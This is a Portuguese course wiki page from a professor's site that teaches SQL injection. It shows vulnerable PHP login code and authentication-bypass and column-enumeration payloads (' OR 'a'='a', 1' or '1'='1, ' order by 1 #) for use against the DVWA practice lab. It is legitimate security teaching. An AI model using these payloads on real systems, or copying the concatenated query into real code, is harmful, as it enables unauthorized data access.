SQLi

From Prof. Vinicius Vieira
Revision as of 17:05, 31 March 2021 by Admin (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

Links Importantes

O que é um ataque do tipo SQL Injection | https://portswigger.net/web-security/sql-injection

Cheat Sheet para SQLi | https://portswigger.net/web-security/sql-injection/cheat-sheet


Exemplo de código fonte vulnerável (PHP)

 $query = "SELECT * FROM users WHERE user='" .
 $_POST['username'] . " ' AND password=' " .
 $_POST['password'] . " ' ";
 $response = mysql_query($query) ;


Em outras palavras:


 SELECT * FROM users WHERE user='...' AND password='...' 


Desta forma consigo enganar o banco já informando o valor do "password", assim:


 Password = ' OR 'a' = 'a' 


Ficando o SELECT assim:


 SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a'

Testando no alvo (DVWA)

Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL.

Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração).

Agora informe um "sempre true":


 1' or '1' = '1


Descobrindo o número de colunas do banco para coleta de informações

 ' order by 1 # 


Vá aumentando até dar erro do MySQL. Desta forma conseguimos saber quantas colunas tem em nosso banco alvo.


Coletando a versão do Banco